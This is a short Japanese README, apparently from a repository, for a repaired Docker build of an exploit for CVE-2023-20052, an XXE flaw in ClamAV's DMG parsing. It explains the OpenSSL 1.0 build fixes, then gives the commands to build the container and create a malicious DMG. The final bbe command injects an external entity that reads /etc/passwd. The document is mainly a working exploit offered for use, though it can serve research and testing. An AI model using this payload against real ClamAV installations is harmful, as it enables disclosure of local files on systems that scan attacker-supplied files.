
実際にコンパイルが通る、CVE-2023-20052 (ClamAV XXE 脆弱性) 用の修正済み Docker ビルド。
元のエクスプロイトは現代のシステムではビルドに失敗します:
HMAC_CTX 構造体の不完全型エラーdmg/filevault.c のコンパイルでビルド失敗libssl1.0-dev (OpenSSL 1.0) を使用libdmg-hfsplus は非推奨の OpenSSL 1.0 関数を使用しています:
HMAC_CTX_init() / HMAC_CTX_cleanup() (OpenSSL 1.1+ で削除)HMAC_CTX 構造体の直接使用 (OpenSSL 1.1+ では不透明)Ubuntu 18.04 は OpenSSL 1.0 をサポートする最後の LTS です。
# Build (takes ~3-5 minutes)
docker build -t cve-2023-20052 .
# Run
docker run -v $(pwd):/exploit -it cve-2023-20052 bash
# Create exploit DMG
genisoimage -D -V "exploit" -no-pad -r -apple -o test.img .
dmg dmg test.img test.dmg
bbe -e 's|<!DOCTYPE plist PUBLIC "-//Apple Computer//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">|<!DOCTYPE plist [<!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>|' -e 's/blkx/&xxe;/' test.dmg -o exploit.dmg
## CVE-2023-20052 (ClamAV XXE) 用の修正済み Docker ビルド - OpenSSL 3.0 のコンパイルエラーを解決。libdmg-hfsplus との互換性のために Ubuntu 18.04 と OpenSSL 1.0 を使用